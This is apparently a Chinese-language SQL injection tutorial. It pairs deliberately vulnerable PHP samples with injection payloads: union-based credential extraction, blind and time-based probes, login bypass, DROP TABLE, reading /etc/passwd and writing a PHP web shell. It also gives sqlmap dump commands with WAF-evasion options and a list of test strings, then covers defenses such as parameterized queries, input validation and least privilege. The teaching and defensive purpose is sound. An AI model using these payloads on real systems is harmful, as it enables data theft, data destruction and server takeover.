SQL Injection 是一種安全漏洞,當應用程式未對使用者輸入進行適當的驗證或清理時,攻擊者可以利用該漏洞,將惡意的 SQL 代碼注入至該應用程式,從而操作或存取資料庫。攻擊者通常會在輸入欄位(例如:登入表單)中輸入特殊的 SQL 語句,企圖改變原始 SQL 語句的結構和意義,從而達到不法目的


介紹 SQL

先參考一下上圖,了解一下 SQL 的架構,由大範圍到小範圍分別是 Database ➜ Table ➜ Column ➜ Data 每個 Database 中會有一個或多個 Table,上圖就有 Production.Bread、Production.Category、Sales.Customer 等等。 Table 中又會有一個或多個 Column,像是 Sales.Customer 這個 Table 中有 firstname、lastname 以及 email。


漏洞實現

SQL Injection 可以根據攻擊目的和手法分為多種類型,以下將詳細介紹不同的攻擊方式:

Union-based SQL Injection (聯合查詢注入)

這是最常見的 SQL Injection 類型,攻擊者使用 UNION 關鍵字來合併多個查詢結果。

假設您有一個商品搜尋頁面:

$product_id = $_GET['id'];
$sql = "SELECT name, price FROM products WHERE id = '$product_id'";
$result = mysqli_query($conn, $sql);

攻擊者可以輸入:1' UNION SELECT username, password FROM users -- 查詢就會變成:

SELECT name, price FROM products WHERE id = '1' UNION SELECT username, password FROM users --'

這樣就能同時獲取商品資訊和所有用戶的帳號密碼。

Boolean-based Blind SQL Injection (布林盲注)

當應用程式不直接返回錯誤訊息或查詢結果時,攻擊者可以根據頁面的不同回應來推斷資料庫內容。

$user_id = $_GET['user_id'];
$sql = "SELECT * FROM users WHERE id = '$user_id' AND status = 'active'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    echo "User found";
} else {
    echo "User not found";
}

攻擊者可以測試:

  • 1' AND 1=1 -- (返回 “User found” 表示注入成功)
  • 1' AND 1=2 -- (返回 “User not found”)
  • 1' AND (SELECT COUNT(*) FROM users) > 10 -- (判斷用戶表是否有超過10筆資料)

Time-based Blind SQL Injection (時間盲注)

當頁面回應都相同時,攻擊者可以利用延遲來判斷注入是否成功。

$email = $_POST['email'];
$sql = "SELECT * FROM users WHERE email = '$email'";

攻擊者輸入:test@example.com' AND IF(1=1, SLEEP(5), 0) -- 如果注入成功,頁面會延遲 5 秒才回應。

和平做法(單純測試娛樂)

假設您有一個簡單的登入頁面,使用者輸入他們的用戶名和密碼。後端程式碼可能像這樣:

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

如果我今天輸入的帳號或是密碼是 ' OR '1' = '1' -- ,那我在做 mysqli_query 時,我的 SQL 搜尋句就會變成

SELECT * FROM users WHERE username = '' OR '1' = '1' -- ' AND password = ''

這段搜尋結果大致上等同於

SELECT * FROM users WHERE username = '' OR True

-- 是 SQL 中的註解符號,所以它會使查詢中剩下的部分(AND password = '')被忽略,所以在這樣的情況下,我們就可以實現把 username 全表直接倒出來

或是你也可以輸入 ' or ''=',就可以讓搜尋指令變成

SELECT * FROM users WHERE username = '' or ''='' AND password = '' or ''=''

就等同於底下這段查詢指令,一樣可以達到攻擊效果。

SELECT * FROM users WHERE username = '' or True AND password = '' or True

邪惡做法(將可能對伺服器造成重大危害)

到這邊都還不會對資料庫造成實質性傷害,如果我今天輸入了 '; DROP TABLE user --,那整段查詢就會變成

SELECT * FROM users WHERE username = ''; DROP TABLE user -- ' AND password = ''

如果成功,那名為 user 的資料表就會成功被我刪除(DROP)了

更多破壞性攻擊示例

1. 批量資料洩露

1' UNION SELECT table_name, column_name FROM information_schema.columns --

這可以獲取資料庫的結構資訊,包括所有表格和欄位名稱。

2. 資料庫版本探測

1' UNION SELECT @@version, database() --

獲取資料庫版本和當前使用的資料庫名稱。

3. 檔案系統操作 (MySQL)

1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --

在某些情況下可以讀取伺服器檔案。

4. 寫入後門檔案

1' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' --

嘗試寫入一個 web shell 到網站目錄。


工具做法:sqlmap

https://github.com/sqlmapproject/sqlmap

SQLMap 是一個自動化的 SQL 注入檢測和利用工具,以下是常用的指令:

基本使用

sqlmap -u 網址 --batch --dbs

詳細參數說明

  • --batch: Never ask for user input, use the default behavior
  • --dbs: Enumerate DBMS databases
  • --users: Enumerate DBMS users
  • --tables: Enumerate DBMS database tables
  • --columns: Enumerate DBMS database table columns
  • --dump-all: Dump all DBMS databases tables entries,將所有資料庫匯出成 csv 檔案,只想匯出當前的話請用 --dump
  • -D DB: DBMS database to enumerate
  • -T TBL: DBMS database table(s) to enumerate
  • -C COL: DBMS database table column(s) to enumerate
  • --random-agent: 隨機 UA,用來迷惑 WAF

實際攻擊範例

# 檢測並列出所有資料庫
sqlmap -u "http://example.com/product.php?id=1" --batch --dbs

# 列出特定資料庫的所有表格
sqlmap -u "http://example.com/product.php?id=1" -D shop --tables

# 提取特定表格的資料
sqlmap -u "http://example.com/product.php?id=1" -D shop -T users --dump

# 針對 POST 請求進行測試
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --batch

# 使用代理伺服器和隨機 User-Agent
sqlmap -u "http://example.com/product.php?id=1" --proxy="http://127.0.0.1:8080" --random-agent

如何防制

防制 SQL Injection 需要多層防護策略,以下是詳細的防護措施:

1. 使用參數化查詢 (Parameterized Queries)

這是最有效的防護方式,將 SQL 語句和資料分離處理。

PHP 範例

// 不安全的寫法
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// 安全的寫法 - 使用 prepared statement
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

Java 範例

// 不安全的寫法
String sql = "SELECT * FROM users WHERE id = " + userId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

// 安全的寫法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();

Python 範例

# 不安全的寫法
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# 安全的寫法
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

如果我今天一樣輸入 'OR '1'='1 的話,系統會把它解讀成一個查詢字串,而不會把它融合在指令中。簡而言之,我可以通過這個登入一個名為 'OR '1'='1 的用戶,但我無法實現 SQL Injection。

2. 輸入驗證 (Input Validation)

對所有使用者輸入進行嚴格的格式驗證。

白名單驗證

// 只允許字母和數字
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
    die("Invalid username format");
}

// 驗證 email 格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die("Invalid email format");
}

// 驗證數字範圍
if (!is_numeric($id) || $id < 1 || $id > 999999) {
    die("Invalid ID");
}

長度限制

if (strlen($username) > 50) {
    die("Username too long");
}

3. Escaping 所有用戶輸入

將特殊字符進行轉義處理,但這只能作為輔助防護措施。

// PHP 範例
$username = mysqli_real_escape_string($conn, $_POST['username']);

// 或使用 htmlspecialchars 防止 XSS
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

4. 最小權限原則 (Least Privilege)

為不同的應用功能創建不同權限的資料庫用戶。

-- 創建只讀用戶(用於搜尋功能)
CREATE USER 'search_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON shop.products TO 'search_user'@'localhost';

-- 創建限制寫入用戶(用於用戶註冊)
CREATE USER 'register_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT ON shop.users TO 'register_user'@'localhost';

-- 避免使用 root 或具有 DROP、CREATE 權限的用戶

5. 額外防護措施

使用 WAF (Web Application Firewall)

# Apache mod_security 規則範例
SecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    msg:'SQL Injection Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"

錯誤訊息處理

// 不要顯示詳細的錯誤訊息
// 錯誤示範
if (!$result) {
    die("MySQL Error: " . mysqli_error($conn));
}

// 正確做法
if (!$result) {
    error_log("Database error: " . mysqli_error($conn));
    die("An error occurred. Please try again later.");
}

定期安全檢查

# 使用 sqlmap 定期檢測自己的網站
sqlmap -u "http://yoursite.com/login.php" --data="username=test&password=test" --batch

# 檢查資料庫日誌
tail -f /var/log/mysql/mysql.log | grep -i "select\|insert\|update\|delete"

實際案例分析

案例一:2017年 Equifax 資料外洩事件

Equifax 是美國三大信用評估機構之一,在2017年遭受大規模資料外洩,影響約1.47億人。攻擊者利用了 Apache Struts 框架中的漏洞,該漏洞本質上也是一種注入攻擊。

學習重點:

  • 定期更新框架和依賴套件
  • 實施多層防護
  • 建立事件應變計畫

案例二:常見的購物網站攻擊

// 漏洞代碼
$product_id = $_GET['id'];
$sql = "SELECT * FROM products WHERE id = $product_id";

攻擊者訪問:http://shop.com/product.php?id=1 UNION SELECT username,password FROM admin_users

修復方案:

$product_id = (int)$_GET['id']; // 強制轉型
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$product_id]);

檢測與測試工具

除了 sqlmap 之外,還有其他實用的工具:

1. Burp Suite

專業的 Web 應用程式安全測試平台

# Burp Suite Intruder 可以自動化測試 SQL 注入
# 設定 payload lists 包含常見的 SQL 注入字串

2. OWASP ZAP

免費的安全掃描工具

# 使用 ZAP 進行自動掃描
zap-baseline.py -t http://example.com

3. 手動測試 Payload

-- 常用的測試字串
'
"
`
')
")
`)
' OR '1'='1
" OR "1"="1
` OR `1`=`1
'))/**/OR/**/('1'='1
")/**/OR/**/("1"="1
`)/**/OR/**/(`1`=`1
1' UNION SELECT NULL--
1" UNION SELECT NULL--
1` UNION SELECT NULL--

Reference